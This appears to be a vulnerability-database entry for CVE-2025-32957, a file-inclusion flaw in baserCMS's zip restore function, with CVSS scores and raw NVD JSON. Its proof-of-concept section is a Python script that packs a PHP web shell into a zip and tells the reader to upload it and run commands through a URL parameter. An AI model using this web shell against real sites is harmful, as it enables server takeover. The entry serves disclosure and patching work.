Security Vulnerability Report
中文
CVE-2025-32957 CVSS 8.7 HIGH

CVE-2025-32957

Published: 2026-03-31 01:16:35
Last Modified: 2026-04-01 20:31:58

Description

baserCMS is a website development framework. Prior to version 5.2.3, the application's restore function allows users to upload a .zip file, which is then automatically extracted. A PHP file inside the archive is included using require_once without validating or restricting the filename. An attacker can craft a malicious PHP file within the zip and achieve arbitrary code execution when it is included. This issue has been patched in version 5.2.3.

CVSS Details

CVSS Score
8.7
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:basercms:basercms:*:*:*:*:*:*:*:* - VULNERABLE
baserCMS < 5.2.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import zipfile import os # Create a malicious PHP file content (WebShell) php_code = "<?php system($_GET['cmd']); ?>" php_filename = "evil_shell.php" # Create a zip file containing the PHP script zip_filename = "basercms_poc.zip" try: with zipfile.ZipFile(zip_filename, 'w') as zf: # Write the PHP file into the zip archive zf.writestr(php_filename, php_code) print(f"[+] Successfully created malicious zip file: {zip_filename}") print(f"[+] Upload this file to the baserCMS restore function endpoint.") print(f"[+] Once processed, the malicious PHP will be included and executed.") print(f"[+] Example usage: http://target/path/to/extracted/file.php?cmd=ls") except Exception as e: print(f"[-] Error creating zip file: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-32957", "sourceIdentifier": "[email protected]", "published": "2026-03-31T01:16:34.530", "lastModified": "2026-04-01T20:31:57.590", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "baserCMS is a website development framework. Prior to version 5.2.3, the application's restore function allows users to upload a .zip file, which is then automatically extracted. A PHP file inside the archive is included using require_once without validating or restricting the filename. An attacker can craft a malicious PHP file within the zip and achieve arbitrary code execution when it is included. This issue has been patched in version 5.2.3."}, {"lang": "es", "value": "baserCMS es un framework de desarrollo de sitios web. Antes de la versión 5.2.3, la función de restauración de la aplicación permite a los usuarios subir un archivo .zip, que luego se extrae automáticamente. Un archivo PHP dentro del archivo comprimido se incluye usando require_once sin validar ni restringir el nombre del archivo. Un atacante puede crear un archivo PHP malicioso dentro del zip y lograr la ejecución de código arbitrario cuando este se incluye. Este problema ha sido parcheado en la versión 5.2.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 5.8}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:basercms:basercms:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.2.3", "matchCriteriaId": "07DEEEF3-0621-431D-8A38-405EDBD0957E"}]}]}], "references": [{"url": "https://basercms.net/security/JVN_20837860", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://github.com/baserproject/basercms/releases/tag/5.2.3", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/baserproject/basercms/security/advisories/GHSA-hv78-cwp4-8r7r", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/baserproject/basercms/security/advisories/GHSA-hv78-cwp4-8r7r", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}